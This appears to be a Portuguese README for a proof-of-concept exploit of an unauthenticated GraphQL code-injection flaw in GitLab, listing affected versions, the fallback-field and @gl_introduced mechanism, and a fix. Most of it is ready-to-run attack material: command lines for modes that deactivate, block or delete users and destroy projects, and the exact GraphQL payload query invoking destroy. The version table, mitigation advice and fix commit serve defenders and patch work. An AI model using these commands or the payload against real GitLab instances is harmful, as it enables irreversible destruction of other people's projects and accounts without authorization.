
Exploit de prova de conceito para injeção remota de código não autenticada na API GraphQL do GitLab, usando consultas elaboradas para modificar ou excluir projetos e usuários públicos.
Injeção remota de código não autenticada na camada GraphQL do GitLab que permite a um atacante modificar ou excluir projetos públicos e dados de usuário com uma única consulta (query) elaborada. Sem autenticação, sem interação do usuário, sem privilégios especiais.
| Gravidade | 9.4 Crítica — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H |
| CWE | CWE-94 (Controle inadequado da geração de código / Injeção de código) |
| Afetadas | GitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4 |
| Corrigida | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Divulgada | 2026-08-17 |
| HackerOne | 3926431 |
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project
# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
O exploit é uma injeção de código por campo de fallback: um nome de campo escolhido pelo atacante
em uma consulta GraphQL é convertido em uma chamada arbitrária a public_send no modelo
ActiveRecord subjacente (Project, User, ...). Como o campo de fallback só é criado quando a
consulta também carrega uma diretiva @gl_introduced "futura", a diretiva é o primitivo de injeção.
O script faz detecção de versão de melhor esforço (/api/v4/version com um token,
/help, /users/sign_in) e informa se o alvo está dentro das faixas
afetadas.
touch acima. Uma instância
vulnerável retorna "touch": true; uma instância corrigida retorna
Field 'touch' doesn't exist on type 'Project'.gl_introduced no
esquema GraphQL (introspecção /api/graphql). Instâncias corrigidas ainda podem
expô-la, portanto a verificação comportamental é a que tem autoridade.python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
[--mode check|modify|destroy|delete|custom]
[--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
Modos destrutivos (modify, destroy, delete) exigem uma confirmação
interativa de yes.
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project
# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block
# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm
# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate
# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete
# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
--mode custom --method reload
# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
--token <PRIVATE-TOKEN> --insecure
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
project(fullPath: "group/public-project") {
name
destroy @gl_introduced(version: "999.0.0")
}
}
[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).
A resposta de uma instância corrigida é um erro normal de validação GraphQL:
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }
[!] Parent object is null -> project/user not found or not visible.
(For projects, use the full path, e.g. group/subgroup/project)
O alvo deve ser público (visibilidade do projeto Public, ou um usuário cujo perfil
seja publicamente resolvível via GraphQL). Se o objeto pai for nulo, o método nunca é
chamado.
/api/graphql ou desative o recurso de
filtro de versão @gl_introduced se ele não for necessário.e283c6ad "Prevent calling object method when resolving fallback field"Este PoC é fornecido apenas para pesquisa defensiva de segurança e testes autorizados. Não o execute contra sistemas que você não possui ou para os quais não possui permissão explícita de teste.
| Série | Afetada | Corrigida |
|---|
| 18.x | >= 18.2, < 18.11.11 | 18.11.11 |
| 19.0 | < 19.0.8 | 19.0.8 |
| 19.1 | < 19.1.6 | 19.1.6 |
| 19.2 | < 19.2.4 | 19.2.4 |
| Opção | Descrição |
|---|
--url | URL base do GitLab, ex.: https://gitlab.example.com |
--project | Caminho completo de um projeto público, ex.: group/subgroup/project |
--user | Nome de usuário de um usuário público, ex.: alice |
--mode | check (padrão, touch benigno) · modify (usuário: deactivate, projeto: touch) · destroy · delete · custom |
--method | Nome do método para --mode custom (deve ser um nome GraphQL válido) |
--token | PRIVATE-TOKEN do GitLab opcional (detecção de versão / autenticação) |
--version | Ignora a detecção, força uma string de versão |
--insecure | Desativa a verificação do certificado TLS |